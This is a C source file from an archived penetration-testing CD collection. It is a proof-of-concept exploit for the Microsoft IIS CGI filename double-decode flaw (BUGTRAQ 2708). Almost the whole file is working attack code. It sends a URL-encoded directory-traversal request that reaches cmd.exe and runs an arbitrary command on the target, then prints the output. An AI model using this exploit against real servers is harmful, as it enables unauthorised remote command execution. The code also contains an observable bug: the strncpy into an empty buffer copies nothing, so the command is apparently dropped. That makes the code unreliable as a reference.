home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / execiis-win32.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  123 lines

  1. /*
  2.  *
  3.  * execiis.c - (c)copyright Filip Maertens
  4.  * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
  5.  *
  6.  * DISCLAIMER:    This  is  proof of concept code.  This means, this code
  7.  * may only be used on approved systems in order to test the availability
  8.  * and integrity of machines  during a legal penetration test.  In no way
  9.  * is the  author of  this exploit  responsible for the use and result of
  10.  * this code.
  11.  *
  12.  */
  13.  
  14. /* Might as well port this one too.
  15.  * vacuum@technotronic.com
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20.  
  21. #ifdef WIN32
  22. #pragma comment (lib,"Ws2_32")
  23. #include <windows.h>
  24. #include <winsock.h>
  25. #define close closesocket
  26. #else
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29. #include <unistd.h>
  30. #endif
  31. #include <sys/types.h>
  32. #include <string.h>
  33.  
  34. int main(int argc, char *argv[])
  35. {
  36.     struct sockaddr_in sin;
  37.     struct hostent    *ht;
  38.     char recvbuffer[1];
  39.     int create_socket;
  40.     #ifdef WIN32
  41.     WSADATA WSAData;
  42.     #endif
  43.  
  44.     char request[8192]="GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  45.     char cmd[1024]="";
  46.  
  47.     printf("iisexec.c | Microsoft IIS CGI Filename Decode Error |\n");
  48.     printf("<filip@securax.be>\n");
  49.  
  50.     if (argc < 3)
  51.     {
  52.         printf(" -- Usage: iisexec [hostname] [command]\n");
  53.         exit(-1);
  54.     }
  55.  
  56.     #ifdef WIN32
  57.         if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) {
  58.             printf("WSAStartup failed.\n");
  59.             WSACleanup();
  60.             exit(-1);
  61.         }
  62.     #endif
  63.  
  64.     if ((ht = gethostbyname(argv[1])) == 0)
  65.     {
  66.         #ifndef WIN32
  67.         herror(argv[1]);
  68.         #else
  69.         fprintf(stderr, "Unable to resolve host %s\n",argv[1]);
  70.         #endif
  71.         exit(-1);
  72.     }
  73.     else
  74.         memcpy(&sin.sin_addr, ht->h_addr_list[0], sizeof(sin.sin_addr));
  75.  
  76.     if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
  77.         printf(" -- Socket created.\n");
  78.  
  79.     sin.sin_family = AF_INET;
  80.     sin.sin_port = htons(80);
  81.  
  82.     if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
  83.         printf(" -- Connection made.\n");
  84.     else
  85.     {
  86.         printf(" -- No connection.\n");
  87.         exit(1);
  88.     }
  89.     
  90.     /* Modify this value to whichever sequence you want.
  91.     *
  92.     * %255c = %%35c = %%35%63 = %25%35%63 = /
  93.     *
  94.     */
  95.     strncpy(cmd, argv[2], strlen(cmd));
  96.  
  97.     strncpy(request, 
  98.            "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+",
  99.            sizeof(request));
  100.       strncat(request, cmd, sizeof(request) - strlen(request));    
  101.       strncat(request, "\n", sizeof(request) - strlen(request));
  102.  
  103.     memset(recvbuffer, '\0',sizeof(recvbuffer));
  104.     printf("[%s]\n",request);
  105.     
  106.     send(create_socket, request, sizeof(request), 0);
  107.     recv(create_socket, recvbuffer, sizeof (recvbuffer),0);
  108.  
  109.     if ( ( strstr(recvbuffer,"404") == NULL ) )
  110.     {
  111.         printf(" -- Command output:\n\n");
  112.         while(recv(create_socket, recvbuffer, 1, 0) > 0)
  113.         {
  114.             printf("%c", recvbuffer[0]);
  115.         }
  116.     }
  117.  
  118.     else
  119.         printf(" -- Wrong command processing. \n");
  120.  
  121.     close(create_socket);
  122.     exit(0);
  123. }